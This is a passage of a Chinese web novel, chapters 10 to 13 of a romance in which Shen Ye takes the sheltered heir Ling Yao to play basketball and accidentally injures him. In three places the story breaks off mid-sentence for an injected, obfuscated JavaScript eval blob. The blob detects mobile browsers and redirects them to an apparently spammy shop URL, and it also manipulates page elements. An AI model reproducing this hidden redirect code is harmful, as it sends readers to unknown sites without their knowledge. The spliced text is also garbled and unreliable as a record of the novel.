不过这么特别的忙,还真没帮过。 她本就是凌曜的老同学,对这位少爷再熟不过。刚好她骨子里也藏着几分八卦劲,她也好奇,凌曜在国外一直守身如玉,那么多人往他身上扑,男男女女,他都不要。 那他到底是什么取向? 如果凌曜真的是弯的,那不就又有一场大戏可以看了? 想到这,周瑟琳唇角忍不住翘了翘,于是咳嗽了一下掩饰笑意。 她指尖轻轻摩挲酒杯,眼尾余光飘向沈野。后者正和旁边的肖展颜江乐君聊天,不过余光也时不时盯着两人,指关节微微绷紧,一看就是没放松的样子,心思都在两人这边。 她心里一动。 既然沈野让她试探,她也很好奇,那就索性加点码。 于是,周瑟琳换了个坐姿。 动作并不夸张,只是把腿优雅地交叠起来,斜倚在椅背上,整个人的线条顺势舒展开,显得她更加美丽。 周瑟琳笑着用手背抵了抵鬓角:“哎呀,说起来,那年圣诞舞会,你是不是放了我鸽子?我等了一晚上,你压根没来。” 语气里带着点调笑,眼神颇有深意。 凌曜微微挑眉,笑意慢悠悠凑上来:“那次啊……我记得临时被我爸押去见一位董事。你不会没有舞伴吧?多少人抢着请你。” 周瑟琳“啧”了一声,顺势抬杯,眼神半明半暗地望过去:“可是我只记得,你欠我一支舞。” 这话一落,桌上安静了一瞬。 江乐君立刻“哟”了一声,起哄似的打趣:“凌曜,当年还欠周小姐情债啊?今天要不要补一支?” 肖展颜也弯了弯唇。 而凌曜神态自若,眼神还带了点似笑非笑的懒意。 “补舞不急。”他拿起酒杯,和周瑟琳轻轻碰了一下,道:“但人情记下了。” 周瑟琳眨眨眼,她本来就不喜欢凌曜,也不缺那支舞。没想到和凌曜打得有来有回的,心里一阵兴奋。 她就喜欢和聪明人打交道,看凌曜这样,心里的八卦之火更旺了。于是又顺势补刀:“哎,说真的,你是不是眼光太挑?国外那么多漂亮人儿,怎么从没见你正经交往过谁?” 她语调轻快,带着笑,仿佛只是随意一问。 这一瞬,沈野握酒杯的动作明显顿住,指节缓缓收紧。 他装若无意盯着凌曜,等着看那人怎么回答。 凌曜指尖慢悠悠转着杯柄,眼尾低垂,唇角弯起一个漂亮的弧度。 “挑?”他语气懒洋洋的,“也不是挑。只是看不上罢了。” 周瑟琳有点失望,这说了等于没说。 而凌曜在说完后,眼神不紧不慢地掠过她,在最后一瞬,停在了沈野身上。 周瑟琳表面上依旧笑得优雅,轻轻举杯:“那可得小心了,眼光太高,容易错过好姻缘。” 凌曜轻哼一声,唇角扬起,笑得吊儿郎当:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779270|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就等个能让我不想错过的。” 说着,他半垂的眼睫微颤,仿佛不经意,视线落向沈野。 只不过,仅仅一瞬就挪开了。 沈野盯着看了一会儿,心里忽然更烦躁了。 这人,到底什么意思? 有时候黏得要死,跟周瑟琳相处又很登对,看起来不像喜欢男人的样子。 妈的,半gay不gay的,真邪门。 气氛正悬着,肖展颜忽然轻咳一声,笑着开口:“对了,上回我去港城出差,还碰见了老望。谁能想到他居然跑去开画廊了。那人以前一看书就犯困,结果现在跟我说艺术市场前景可好了。” 周瑟琳被逗笑,顺势接道:“他啊,见风使舵的本事不小。去年还跟我说想投矿业呢。” 这人也是他们的共友,点子很多,又爱社交。 几个人跟着都笑了起来,桌上的火药味散去不少。 江乐君又打趣:“人各有志嘛,你们在国外读书那几年,圈子里不少人回国都换行得飞快,一个个都想抓风口。” 话题转着,大家边吃边聊,氛围逐渐热络起来。 等酒过三巡,周瑟琳低头看了眼表,起身道:“各位,抱歉啊,我得先走了。明天早上有安排,再不回去就来不及睡美容觉了。” 她提了包,跟众人一一道别,最后看了沈野一眼,从容离开。 桌上只剩四人。 江乐君伸了个懒腰:“差不多也该撤了?这店现在太安静,不适合聊。” 肖展颜点点头:“是啊。要不换个地方?不过这时候酒吧也吵。” 江乐君正犹豫着去哪儿,凌曜忽然慢悠悠开口:“去沈野那儿吧,不就解决了?” 话一出,桌上几人愣了下。 沈野眼神瞬间冷了几分,抬眸盯着他:“我还没邀请你。” 凌曜不恼,指尖还在转酒杯,唇角一勾:“怕什么?那你现在邀请呗,难不成你还怕我翻你抽屉?” 沈野眉峰一沉,声音更冷:“少闹。” 江乐君连忙摆手:“哎哎,别别,别的地儿也行,咱随便找个安静点的地方就行。” 肖展颜也笑着劝:“对啊,别较真。” 凌曜懒洋洋靠在椅背上,眼神挑衅似的盯着沈野:“怎么,你这是心虚?不让我去?还是你家真有见不得人的东西?” 空气瞬间僵住。 江乐君赶紧打圆场:“行了行了,凌曜,你就少说两句。沈哥要真不方便,那我们就换个地儿呗。” 谁知凌曜根本不松口,语气带着少爷般的蛮横:“我就想去他那儿。要么去,要么我不去了。” 沈野不知道他又是犯哪门子少爷脾气,心想你不来正好,于是冷笑了一声,抬手拎了外套:“那你就别去。” 几人起身走出餐厅。夜风一吹,酒意更浓。 车上气氛僵硬得要命。 沈野靠在一侧,眉眼冷沉,手指点在膝盖上,压根没打算搭理人。 凌曜偏偏不死心,歪着身子望他,声音拖得长:“你真小气……就带我去一趟会怎样?” 沈野连眼皮都没抬:“不怎样,但我就不带。” 一句话,冷硬利落。 凌曜被噎得直眯眼,像只炸毛的猫,过了一会儿才被气得冷笑,果断转开了头。 江乐君打哈哈:“行了,行了,大家喝多了,别置气。今晚都早点回去,明天精神点。” 车子一辆辆驶出,各自送人回家。 凌曜嘟囔一句:“你不让我去,我明天自己去找你。” 沈野只当这个是小孩子的气话,压根没放在心上。只是心里纳闷,明明刚刚和周瑟琳还好好的,怎么一到自己这里,忽然又耍起脾气了。 11. 第 11 章 第二天早上七点半。 天刚亮,园区空气里带着湿润的草木香气。 几位晨跑的人从甬道上经过,脚步声轻快,还有一些邻居在楼下遛狗。 沈野还窝在床上。昨晚喝得晚,头昏昏沉沉,直到门铃急促响了两声,他才皱眉睁眼。 他随手套了件宽松T恤,下面是棉质家居短裤,脚步拖着凉拖,走到玄关。 “咔哒。”门锁一转。 门一开。 凌曜就站在门口。 晨光斜斜落下,打在他身上。 墨镜半掩,露出挺直的鼻梁和那双漂亮的唇形,发梢还有几缕汗濡的微卷,好像他已经运动一会儿了。 他手里拎着两杯咖啡,正是太古里那家新开的Whitebean,杯壁还渗着水珠。 “早呀,路过。”他勾起唇角,语气轻飘飘的,好像昨晚根本没闹过脾气。 沈野:“……” 你特么…… 路过能路过到我家客厅? 这人一贯喜怒无常,娇蛮任性,沈野早有体会。 不过他倒没想到,凌曜真来了。 沈野微微眯眼,确认这不是梦,是现实。 他靠在门框上,单手撑着门边,并没有接咖啡。 睡意未褪的眉眼冷硬,声线带着点低哑:“……你怎么知道我住这儿?” 凌曜懒洋洋地抬下巴,语气理所当然:“我以前来过。初三那年你感冒没去上学,我来看过你。给我切了苹果,还给我盛银耳羹。我记得味道挺好。” 沈野愣了下。 这事他完全没印象。可凌曜说得煞有其事,细节连吃了什么都记得。 “我记性很好。”凌曜轻轻一笑,眉眼带着点得意,“今早顺路就来了,果然没变。” 沈野盯着他,心里只闪过一个词:危险人物。 清晨的阳光照得他肩膀线条宽阔,眉骨投下深深阴影,五官很立体。沈野问:“你不是才刚放假吗?” “对啊。”凌曜答得慢条斯理,语气里透着点娇气,仿佛在抱怨,“才一周不到,你就嫌我烦了?” 沈野盯着他,确认他没撒谎。半晌,他才淡淡开口:“那你一大早跑来干什么。” “拜访老朋友,看看你过得好不好。”他把咖啡往前递了一点。 沈野心里泛起一阵警铃。 对自己未免有点太关注了。 他看了凌曜一眼,语气淡淡:“凌曜,谢谢你,不过咖啡你自己喝。我还没刷牙。” 说完,“咔哒”一下关了门。 ------------------------------------- 门关上的那一刻,沈野靠着门板站了一会儿。 然后低声骂了句:“靠。” 他深吸一口气,在洗手池边打湿毛巾。冷水顺着指尖滴落,眼神落在镜子里那张冷峻的脸上。 心里缓慢落下一句结论—— 这不行。 得掰回来。哪怕已经喜欢上了,也得掰到他不敢承认。 沈野洗完脸,从干区出来,正用毛巾擦着头发,忽然听见门口传来窸窸窣窣的声音。 像是在……挠门。 他顿了顿,走到玄关,摁下中控屏。 监控画面“哔”地弹出。凌曜那张脸又出现了。 此时的凌曜肩膀靠着门框,墨镜滑到鼻梁下,手里那杯 Whitebean 只剩杯底。 他另一只手,正用指尖一点点挠门。 挠挠挠。 就这样一直挠门。 沈野当场无语,捏着毛巾就去开门。 “你是不是有病?” 门一拉开,热气扑面,凌曜摘下墨镜,露出一张漂亮得惊人的脸。眉眼天生带点矜贵的傲气,此刻一脸理直气壮:“你怎么知道我还在?” “我家是智能安防,门口有感应和监控。”沈野冷声,“你蹭门我能不知道?” 凌曜一愣,随即不服气:“我没蹭。” 顿了顿,又低声嘀咕:“太久没人开门,我有点困了。” 沈野瞟他:“我这物业费明明不便宜,怎么安保能放你这尊大佛进来?” 这下换凌曜纳闷了。 他挑挑眉,提醒道:“你忘了?这栋楼当年是我爸修的,分给你家的。我想进来,很容易。” “……” 沈野:还是败给了钞能力。 他侧了下身,只能让人进来。 这是 C 市有名的高端住宅区,电梯入户,挑高客厅,落地窗外是运河一线景观。 浅灰色大理石铺在地面上,屋子极干净,简洁到有些冷清。 凌曜换了鞋,随手把咖啡放在桌上,姿态自然得像回自己家。 他往窗边走去,拉开帘子,晨光一瞬间泻进来,把他衬得愈发耀眼。 “阳光不错。”他偏过头,眉眼弯弯,漂亮得像幅画。 沈野靠在一边,懒得接话,只是淡淡盯着他。 心里有点烦。 这人才刚过二十二,精神旺盛得像打了鸡血。 凌曜扫了一眼,又评价上了:“你这屋比我那边大。” 沈野语气平淡,“怎么可能啊少爷,你卧室是一整层楼。” “哦。” 忽然他想起,自己二十二时,心智和十七八岁差不多。而凌曜这种从小被捧在手心的太子,估计心理年龄还更小。 人是赶不走了,沈野索性开始思考怎么让这事往有利方向发展。 昨晚,他认认真真想了会,该怎么把凌曜掰得笔直。 于是沈野瞥他一眼,随口问:“你平时在玩什么?” 凌曜脱口而出:“马术和钢琴。” “……” 沈野差点一口水喷出来。 一个骑马,一个弹琴,听起来都优雅得不得了。 而且凌曜上辈子的确在这两个领域做得不错,还拿过世界级的奖。 但他越想越觉得不对。 他不是歧视搞艺术的,他就是觉得不太踏实。 尤其是这种贵族圈里头,学艺术的男的多,gay也多。 沈野想到这里,眉心隐隐发紧。 凌曜上辈子怎么就弯了?难不成真是环境熏出来的? 不行。 他得把人往阳刚点的方向拽一拽。 他“啪”地把杯子放在餐桌上,抬眼淡淡道:“那你要不要跟我一起去打篮球?” 凌曜正窝在沙发上,姿态懒洋洋的,闻言一愣,抬起那双漂亮的眼睛:“……我不想你打篮球。” 沈野挑眉,动作一顿:“你不想我打?” “嗯。”凌曜神情突然不好看,语气倔强又蛮横,带着点被踩到逆鳞的意味,“我不喜欢你打篮球。” 空气僵了两秒。 沈野笑了一下,却是冷冷的笑,唇角勾得锋利:“那可真遗憾了。” 他站起身,神态散漫而拽:“腿长在我身上,我想打就打。” 空气顿时僵了两秒。 凌曜没说话,盯着他看,神情像是被这句给扎到了,眼睛有点冷。 沈野也没多看他,神情淡得像什么都没发生。但他心里却被触动了。这一幕太像上辈子。 那时候,他高中校队训练,凌曜突然打电话让他别去。质问得理直气壮:“你非得打球吗?我不想你打篮球。” 沈野到现在都不明白,运动是他自己的时间,属于他自己。 为什么凌曜总想拦着? 可那会儿的凌曜,就是这么娇蛮霸道,做事情只考虑自己的感受,却从没问过他到底想干嘛。 沈野低头笑了一下,眼神收紧。 “你不想和我一起玩吗?”他声音慢了下来。 凌曜一愣,漂亮的睫毛微微颤了颤,下意识问:“……什么意思?” “篮球又不是非得对抗。”沈野轻描淡写,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779271|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气带点诱哄似的耐心,“三人局,或者半场投篮。动作不大。” 他目光扫过去,故意压低声音:“还是说……你其实不想跟我玩?” 凌曜被问得一怔,脸上闪过一瞬间的犹豫。 阳光透进来,落在他肩上,把他整个人衬得耀眼漂亮,带着点别扭的小脾气。 盯了沈野几秒,他才低声嘀咕:“我不是那个意思。” 沈野看着他,唇角一勾:“那走啊。” 他随手拍了拍手,语气冷酷又漫不经心:“今天正好天气凉快。东门那边新修了场子,铺了新地板,还装了灯架和音响,氛围挺燃。” 凌曜盯着他看了会儿,最终慢慢点了点头:“……可以。” 沈野眼神微亮,没想到他这么快就答应了。 凌曜坐回沙发,端起咖啡喝了一口,却被苦得皱眉。 漂亮的眉眼拧起来,语气娇气:“这家店调配水平下降了。” 沈野靠在一边,单手插兜,瞥了他一眼,冷冷勾笑:“少爷脾气真难伺候。” 沈野去准备衣服了,顺便给凌曜也备一套。 凌曜其实仍然想拒绝,但刚才沈野那句“你不想和我一起玩吗”,听得他心口一阵发堵,鬼使神差就答应了。 他盯着桌上沈野丢下的钥匙看了一眼,黑色AMG G63的标,和钥匙链上印着“X Basketball Club”的小徽章,映进他眼底。 红配黑,很典型的直男搭配。 凌曜轻轻蹙了下眉,扯了扯嘴角,低声骂了一句:“臭直男。” ------------------------------------- 这个篮球馆是C市东门新修的高端体育中心,占地开阔,层高足足有两层楼,灯光与地板都符合国际比赛标准。 平时不对外开放,只接待会员和私教团体预约,场地管理极严。 沈野提前办好了手续。 他换好鞋,先绕场热身了两圈。黑灰拼色的球衣衬得肩背线条笔直,额角很快沁出细密的汗。 跑到一半,他随手掀了下衣摆,用毛巾擦汗,动作随性不带任何炫耀,却把腰侧的线条,和紧实的下腹肌若隐若现地露了出来。 凌曜刚把外套挂在边线椅背上,余光一扫,呼吸微微一滞。 那画面明晃晃的刺眼,漂亮的眼睛眯了下,他把目光移开,慢吞吞走到场边。 “你坐着干嘛?”沈野转过身,单手撑着腰,朝他招手,“先扔几个球,找找手感。” 凌曜踢了下地板,缓慢走过去。 他今天穿的是白色 Polo 衫配卡其裤,衣角熨得笔挺,矜贵无比,看起来更像是来打高尔夫的。 “我不会。”他眉毛轻蹙,理直气壮地开口。 沈野瞥他一眼,唇角勾起一抹笑:“我知道啊,不然我叫你来干嘛?投投看,站到罚球线。” 凌曜应声走过去,手里拿着球,眼神若无其事,心底带点兴奋。 他垂眸看着手里的球,皱了皱眉,故意嫌弃道:“这玩意儿好硬,还扎手。” 沈野“噗”地一笑,“你不是真没碰过球吧?那你体育成绩怎么混过来的?” 凌曜耸耸肩,面色淡定:“教练人好。” 他说完,抬手笨拙地投了一下。动作僵硬,球直直砸到篮板下沿,反弹回来,磕得一声脆响。 沈野快步上前,轻巧接住,转身又递回给他。 “再来。” 凌曜深吸一口气,又试了一次,这回偏得更离谱。 沈野走过来,站在他侧身,盯了盯他的动作,伸手直接扣在他手臂上,指腹在紧绷的肌肉上按了两下。 “太僵了,”他低声说,“放松点。” 结果手下那块肌肉却更紧了。 沈野挑了挑眉,语气带了点怀疑:“……咦,你不是更紧了吗?” 凌曜轻咳一声,别开脸,耳尖不易察觉地红了。 12. 第 12 章 沈野又聚精会神感受了一下,感觉凌曜这下才正儿八经放松了。 “别用蛮力,试试用手腕。” 他一边说,一边从后面贴过来,手绕过凌曜的肩,轻轻搭在他握球的手上。 “这样,重心压低一点,收紧——” 沈野的身躯带着运动后的热度,隔着一层衣料也能感受到肌肉的力量感。 手臂绷直时,线条明显而漂亮,窄窄的双眼皮在专注时更显锋锐,眉眼压得低,整个人像是笼罩下来的压迫。 他平时忌惮凌曜可能是gay,但一运动起来,又把这件事抛之脑后了。 呼吸贴得太近了。 凌曜脊背一僵,像被电流击中似的,肩膀微微抖了一下。 沈野敏锐地捕捉到,眼神斜过去,挑眉:“……你真练过马术?” 凌曜慢吞吞把球往前一抛,砸在篮板上反弹下来,语气不太好:“我热。” “馆里恒温二十四度。”沈野冷冷出声,短促干脆,“你热个鬼。” 凌曜皱眉:“你身上不也一身汗?” “那是我跑了两圈。”沈野言简意赅。 两人你一句我一句,气氛像是随时要对上火。 沈野索性没再争,往前走了两步,拿过球,利落地做了个标准投篮。动作干净,球划出一道漂亮弧线,“唰”的一声空心入网。 双眼皮压得低,神情冷酷专注。 他收球,抬手指了指篮筐:“看见了吗?重心要稳,手腕要松。明白了没?” 凌曜靠在原地,懒洋洋哼了一声,漂亮的脸上带着点不屑:“懂是懂了,就是懒得学。” 沈野转身走回来,站到他背后,没给他逃的余地,双手再次扣在他手臂上,动作专注得像真在带学生。 “再来。别乱动。” 近距离的气息扑面而来。 沈野专注时神情冷峻,窄窄的双眼皮在灯光下投下阴影,眉骨高挺,鼻梁笔直,仿佛整个人都带着冰冷清俊的压迫感。 凌曜原本背挺得笔直,这下又微微僵了一下。 沈野的呼吸扫过他侧脸,带着淡淡的汗意和清爽的味道,近得叫人心跳乱撞。 “就这样,出手。”沈野声音冷静。 凌曜心不在焉,囫囵投了一下,球擦着篮筐边缘滑落。 沈野低低笑了一声,唇角挑起:“好多了。再来一遍。” 他依旧没松手,保持着近得让人心跳加速的距离,声音冷而稳。 凌曜不自在地抿唇,耳尖却渐渐泛红,硬撑着装镇定。 他微不可查地拉开一点距离,生怕沈野听见自己猛烈的心跳。 练了十几分钟后,凌曜动作慢慢顺了,终于进了一球。 沈野随手接回,挑眉,唇角勾出一点拽笑:“还行嘛,少爷。看来不是完全没救。” 凌曜心里一阵得意,嘴硬:“废话,我学什么都快。” 沈野拎着球,懒懒一笑,肌肉在动作间若隐若现:“嘴还硬?信不信罚你跑圈?” 凌曜睨他一眼,漂亮得耀眼:“你敢?” 然后,他又哼了一声,拿起另一瓶水喝,拧开的动作带着点赌气,“我下回不来了。” “下回你爱来不来。”沈野说得随意,唇角带点冷笑,“反正你不来,还有别人来。” 凌曜一听,眼神微动,冷着脸没说话。 沈野顺手开了手机,点开群聊,发了条消息:【人呢?不是约了十点?】 两分钟后,江乐君回:【马上下楼,还在套衣服。】 紧跟着肖展颜也回:【五分钟到!】 沈野收了手机,看凌曜一眼,“一会儿人多,你别紧张啊。” 很快,球馆门口传来开门的动静。 江乐君第一个进来,一眼就看到两人,顿时喊道:“欸哟哟,你们已经练上了啊?” 紧随其后的是几个熟面孔,肖展颜最后一个走进来,看见自家表弟来了,调侃道:“我都以为沈野唬我,他说太子真的要来。” 当着凌曜的面,大家一般不会故意喊他“太子”。 就肖展颜这样调侃的时候多一点。 “你以为他不来,我敢给你们画大饼?”沈野笑着回应,“走吧,热热身,今天排个三对三。” 他回头看了眼凌曜,“想不想试试?” 凌曜无所谓道:“你排好就行。” 沈野眉梢一挑,知道这是“我愿意”的意思。 他转身去安排对队伍,凌曜站在原地,低头看了眼自己右手手腕。 刚刚沈野贴着他,带动作的那只手。 指尖还残留着一点温度。 他扯了扯衣角,不动声色地移开了目光,但脸上还是有点发热。 沈野熟稔地安排:“我、肖展颜、凌曜一组,江乐君你们仨一组。” 分组完,他掂了下手里的球,抬头看他们一眼,“今天咱们打轻松点。太子新手,别吓着人家。” 他好不容易把凌曜拉出来打球,可不能随随便便就把人家的兴趣给磨灭了。 打篮球的男生里,直男占比极高,大多都是群糙老爷们。 比一直沉浸在什么马术高尔夫,钢琴芭蕾里面好。 起初只是投球热身,动作不激烈,凌曜还能跟得上。 毕竟他记动作一向快,节奏掌握得好,运气好时还能进一两个球。 沈野挑眉打趣:“我是不是发现了你的潜力?” 凌曜抿了抿唇,装作冷淡:“我以后可不一定陪你打。” 沈野无语,心想要不是为了把这少爷往直路上拽,他才懒得带个新手。真要凑人,随便喊个专业队的哥们不更强? 正式开局后,凌曜就不再说话了。 他很快就看出来,沈野是真的会打球。 不是那种炫技、爱装杯的类型,而是协调利落、气场全开。 反应灵活,控球精准,跑位也冷静得很。 跑动时肩背的肌肉线条随着动作绷起,反应快得干脆,控球灵活精准,气场冷静而张扬。 每一次急停转身都干净利落,窄窄的双眼皮压着眉眼,神情冷酷专注,仿佛浑身都透着压迫感。 球进网的一瞬间,清脆的“唰”声在场馆回荡。 那一刻,凌曜怔怔盯着他,心跳莫名乱了一下。 漂亮的脸上仍是若无其事的神情,可指尖却攥紧了球,呼吸不知不觉加快。 过了几分钟,攻防转换。江乐君突进上篮时没收住力,身体往前一撞,正好结结实实撞在凌曜肩膀上。 凌曜闷哼一声,退了一步。 还没等他稳住,沈野已经伸手,一把拦在他身前,冷冷挡住了江乐君。 他额角的汗水顺着鬓角往下滑,声音冷硬:“打球小心点。” 江乐君愣了下,连忙举手示意:“哎哎,失误失误,不是故意啊。” 和他一队的人在旁边笑:“沈野,场上身体对抗很正常的。” 沈野转头看凌曜:“没事吧?” 凌曜其实没什么事,他也健身。不过沈野都这么说了,他就抿了抿唇,漂亮的眼睛有点委屈:“有点疼。” 沈野盯了他两秒,没再说什么,只伸手把他推回合适的位置:“盯好人。” 哨声一响,比赛继续。 只是从那以后,凌曜明显发现,沈野在跑位时下意识护着他,不论是挡拆还是卡位,都习惯性地站在他和对手之间。 他满意地眯了眯眼睛。 很快,凌曜发现更要命的事情。 沈野笑得太多了。 沈野在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779272|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球场上和谁都能搭得上话,随口一句玩笑,顺手一个肩膀,击个掌都自然得很。 他和肖展颜配合默契,传球干脆直接,几次打出漂亮的配合。 有一球沈野急停时差点摔,肖展颜眼疾手快一把把他拽回来,还紧张道:“哎,你小心点,真摔了我们队直接少一个主力。” 沈野笑得漫不经心,挑眉:“我能摔?你太看不起我了。” 话落,又潇洒一甩,把球拍了出去。 凌曜站在一旁,眼神逐渐冷下来。 连带着看自家表哥也不太顺眼。 平时没看出来,这肖展颜和沈野的关系,怎么就这么熟? 其实他心里明白,沈野打球打得好。可真看见对方在球场上那样自在、那样受欢迎,他胸口就越来越堵。 别人碰得太顺手了。 而他自己,根本插不上话。 中场休息时,沈野跑回来拧开水瓶,随手喝了两口,顺手拍了拍凌曜肩:“等会儿跟我换个位,接球更顺。” 凌曜抬眼看他,语气冷冷:“你刚刚摔那一下,还好吧?” 沈野愣了下,笑道:“我没摔啊,肖展颜把我拉起来了。” 凌曜扯了下唇角,眼神冷冷:“呵,他力气倒是挺大的。” 沈野一头雾水:“……?” “你还挺享受。”凌曜瞥他一眼,漂亮的眼睛冷冷的。 沈野彻底被噎住:“我享受什么?” “没事。”凌曜拧开水瓶,低头喝了一口。 沈野站在原地,想了半天也没明白他到底在气什么。 反正凌曜这种阴晴不定的脾气,他上辈子见多了。 估计是被拖着打球,心里有怨气吧。 沈野耸耸肩,自顾自地喝水去了。 “……”背后的凌曜气得手指都紧了紧,恨不得跺脚。 第二轮开始时,凌曜明显不一样了。 步伐紧凑,眼神冷厉,几次防守都死死贴上去,甚至直接用肩挡下硬生生断球。 那张漂亮的脸冷下来,竟带着点张狂。 沈野被他突如其来的狠劲儿惊了一下,挑眉:“……你上头了?” 凌曜不理他,把球甩给肖展颜。 沈野边跑边笑:“诶,你不是说不会打吗?” “我没说我学不会。”凌曜声音淡淡,带着理直气壮的感觉。 场边,江乐君看见这架势,哈哈大笑:“哎,太子认真了啊?要不来我们队,咱们一起把沈野打哭!” 凌曜轻哼一声,漂亮的下颌抬起:“他哭不了。他脸皮厚。” 沈野正运着球,回头盯他一眼,唇角勾笑:“凌曜,你还是悠着点儿吧。小心一会儿真把我撞进医务室。” 凌曜神情冷冷,没答话。 可等到他发球时,忽然猛地把球砸向沈野胸口。 “你发。” 沈野胸口一闷,接住球,愣了下,抬眼:“你怎么了?” 凌曜别开眼,不耐烦地吩咐:“快点。” 他是真的有点压不住了。 从刚才沈野和人撞肩,到击掌、开玩笑…… 他烦透了。 烦沈野那张谁都能搭话的笑脸,烦别人随意地和他碰肩,烦沈野在这种场子里游刃有余的样子。 凌曜盯着那笑容,胸口像压了一块石头,难受得发紧。 下一秒,他转身去断球,动作猛得连江乐君都愣了一下:“哎?” 没人知道,他其实根本没在专心比赛。 他只是……不想看见沈野和别人笑。 情绪压得胸口发闷,凌曜越打越狠,完全不顾。 然后,沈野一个回传没收好,篮球“砰”地一声——结结实实砸在凌曜脑门上。 “凌曜!!!” 13. 第 13 章 球砸上去的那一刻,场馆“砰”的一声,空气骤然寂静。 “……” “唔!” 凌曜眉心一跳,整个人跟着晃了一下,手一捂额头,几乎条件反射地蹲了下去。 沈野心口一紧,连球都没去捡,快步走过去:“凌曜,你站那干嘛?!” 他吓了一跳。靠,为什么老跟这人脑袋过不去?! 凌曜没吭声,一手撑着膝盖,一手死死捂着额头,指尖用力得发白,漂亮的眉目此刻拧得像结了疙瘩。 江乐君也冲了过来,脸色一变:“沈野你搞什么?砸人脑门干嘛!” “我哪知道他站那!”沈野声音里带了火气,“手滑了!” 他是真没料到,刚才起跳时手腕甩得猛了点,球脱手,角度失控,直接朝凌曜额头砸了过去。 “我不是故意的。”他下意识解释了一句。 凌曜抬起眼,漂亮的眸子冷冷的,咬牙剐了他一眼:“你以为我会信吗?” “你信不信也得信。”沈野烦躁,却还是压低声音,盯着他,“让我看看伤得严不严重。” 真不是报复啊。 “别碰。”凌曜咬着牙,声音发闷,从牙缝里挤出来。 他脸色很难看,一手捂着额头,指节用力,像是恨不得把疼给摁进去。 沈野下意识上前一步:“你让我看看……” “我说了别碰!”凌曜声音陡地拔高,像是快要炸了。 这回不仅沈野,全场都安静了一秒。 肖展颜第一个反应过来,脸都变了,立马冲过去拉住凌曜的肩膀:“曜曜,怎么回事?你晕不晕?疼不疼?” “别吵。”凌曜咬着牙,“头疼。” 他手指一直按在眉骨上方,额发汗湿着贴在额角,全身上下都在紧绷着。 江乐君探头一看,倒吸凉气:“卧槽,红了一大片。” 肖展颜蹲下身,“曜曜,你先别捂了,我看看伤口。” 凌曜没动。 沈野看不下去了,蹲在他身侧,小声说:“你让我看看。” 凌曜咬着牙不动。 “你都不让我看,我怎么知道有没有伤。”沈野语气低了些,“要是出血了怎么办?” 他伸手,试图把凌曜捂在额前的手拿开。 凌曜扭了下,没让他碰。 沈野也不知道这小孩儿在闹什么别扭,抓着他的手腕干脆一用力,强硬地把他那只手往下掰。 凌曜不爽地想抽回来,但下一秒沈野已经看到了。 “……靠。”沈野低声爆了一句。 额头上果然擦破了一块皮,不大不小,但那块皮肤薄得很,已经开始慢慢往外渗血,周围泛着一点发红的痕。 沈野脸都白了。 他没想到会流血,以为最多就是砸红了。 “我带你去医院。”沈野道。 凌曜还是不动,像不想搭理他。 沈野头疼:“祖宗,大爷,我背你去也行。” “我不要。”凌曜哼了一声,别过脸。 “哎哟,少爷,太子爷,你别这么不理我成不成,我真不是故意的。” 凌曜撅起个嘴,像在赌气。 江乐君看了眼伤口,小声添乱:“你刚刚撞的球那么猛,你是带着气砸的吧。” 沈野瞥他一眼:“你少拱火。” 江乐君理直气壮:“我可没说错,你前一秒才被怼,后一秒球就飞过去了,搁谁都得多想想。” 沈野被他这句堵住了,抬手揉了眉心,像是被气笑了:“不是,你到底站哪边的?” “我肯定站你这边啊。”江乐君理直气壮,“但我也是怕你挨揍啊。” 肖展颜不听他们这些小学生吵架了,把两人拨开,凑过去一看,脸当场就白了半截。 他深吸一口气,在盘算回去该怎么交代。 他比谁都清楚凌家那边的脾气。 凌曜就算自己不吭声,只要额头上有个红印子,家里人也能顺着这点血,脑补出一部心机权谋剧。 更别说现在是真出了血。 肖展颜下意识回头看了沈野一眼,声音都压低了,“这个事情别往外说。” 沈野听着,点点头。 废话,他肯定不往外说。 说了,自己就遭殃了。 “走,去医院。”沈野再度看向凌曜。 凌曜扭过头不看他,声音冷冷的:“我不要。” 沈野问:“都破皮了,你还不去?” “我不想去医院了!”凌曜压着嗓音喊了出来,整个人抓狂道: “干脆给我开张床位算了,一天三趟!我太子殿下要住院才显身份是不是?!” 沈野:“……” 他揉了揉眉心,叹口气:“行,你不想去,我来处理。” 说着起身走向场边储物柜,从里面翻出一个白色急救箱。 这是球馆标配的医疗箱,里头整齐摆着碘伏、医用棉签、纱布、胶布,甚至还有备用的冰袋。高端场馆连应急配置都比一般地方讲究。 凌曜看了一眼,没吭声。 他不吭声就是在默许,沈野见他靠着椅子坐下了,更加加深了这个想法。 沈野拎着药箱回来,蹲下,拆开棉签和消毒液,低声道:“先给你擦擦。有点疼,忍一下。” 